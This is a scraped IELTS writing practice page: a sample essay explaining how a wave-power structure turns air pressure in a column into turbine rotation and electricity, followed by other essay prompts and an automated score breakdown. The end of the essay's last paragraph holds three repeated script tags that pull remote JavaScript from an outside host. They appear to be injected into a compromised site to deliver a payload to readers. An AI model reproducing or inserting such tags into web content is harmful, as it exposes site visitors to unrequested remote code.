The diagrams below show a structure that is used to generate electricity from wave power.
The diagrams graphically demonstrate how electrical energy is produced in two steps by taking advantage of the wave power.
Turning to the diagram A, on the ocean floor a chamber is constructed, and the chamber is situated beside the cliff or the sea wall. Whenever the wave advances, the chamber guides the wave towards a vertical column in which a turbine is located. Thence, the movement of the water flow increases the pressure of the air at the bottom of the column. In turn, an air flow takes shape inside the column, and this flow rotates the turbine on counterclockwise. Afterwards, the axial rotation of the turbine produces electricity.
Looking at the diagram B, the energy reduction of the wave brings about retreating the water flow and the wave returns back into the inlet of the chamber. This phenomenon lessens the air pressure at the bottom of the column. Therefore, the air inside the column is sucked out and then a new air flow, which revolves the turbine on anticlockwise, commences to move down. As a result the electricity is generated. <script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script>
- The graph below gives information from a 2008 report about consumption of energy in the USA since 1980 with projections until 2030.Summarize the information by selecting and reporting the main features, and make comparison where relevant. 60
- Some say that because many people are living much longer, the age at which people retire from work should be raised considerably.To what extent do you agree or disagree? 60
- The chart below shows the total number of minutes (in billions) of telephone calls In the UK, divided into three categories, from 1995 & 2002. 80
- Many offenders commit more crimes after serving the first punishment. Why is this happening, and what measures can be taken to tackle this problem? 61
- The graph shows the teleworking rates by sex in the United Kingdom between 1997 and 2005 and the rates by occupation and location of workplace in 2005 88
the wave returns back into the inlet of the chamber.
the wave returns the inlet of the chamber.
Read a sample and see how to use verbs:
http://www.testbig.com/ielts-writing-task-i-essays/diagrams-show-struct…
Attribute Value Ideal
Score: 6.5 out of 9
Category: Good Excellent
No. of Grammatical Errors: 1 2
No. of Spelling Errors: 0 2
No. of Sentences: 10 10
No. of Words: 181 200
No. of Characters: 856 1000
No. of Different Words: 94 100
Fourth Root of Number of Words: 3.668 4.0
Average Word Length: 4.729 4.6
Word Length SD: 2.706 2.4
No. of Words greater than 5 chars: 64 60
No. of Words greater than 6 chars: 46 50
No. of Words greater than 7 chars: 29 40
No. of Words greater than 8 chars: 17 20
Use of Passive Voice (%): 0 0
Avg. Sentence Length: 18.1 21.0
Sentence Length SD: 6.625 7.5
Use of Discourse Markers (%): 0.2 0.12
Sentence-Text Coherence: 0.424 0.35
Sentence-Para Coherence: 0.559 0.50
Sentence-Sentence Coherence: 0.096 0.07
Number of Paragraphs: 3 4